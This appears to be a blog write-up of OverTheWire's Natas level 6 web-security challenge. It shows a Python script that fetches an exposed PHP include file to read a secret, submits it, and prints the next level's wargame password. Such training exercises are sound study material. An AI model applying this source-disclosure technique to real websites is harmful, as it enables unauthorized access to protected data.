Writeups OverTheWireNatasWebPHPSource Disclosure

Natas 6 Writeup - OverTheWire

Writeup for Natas level 6 from OverTheWire: reading an included PHP file to get a secret.

Contents

Wargame: Natas

Level: 6

Category: Web Security

Description

The page source shows include "includes/secret.inc"; and a form that checks if the submitted value matches $secret. Fetching includes/secret.inc directly reveals the secret string.

Overview

Solution

secret_resp = requests.get(url + "/includes/secret.inc", auth=("natas6", current_password))
secret = re.search(r'\$secret = "(.*?)"', secret_resp.text).group(1)

response = requests.post(url, auth=("natas6", current_password), data={"secret": secret, "submit": "submit"})
result = re.search(r"The password for natas7 is (.*)", response.text).group(1).strip()

Password

jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

← Back to Blog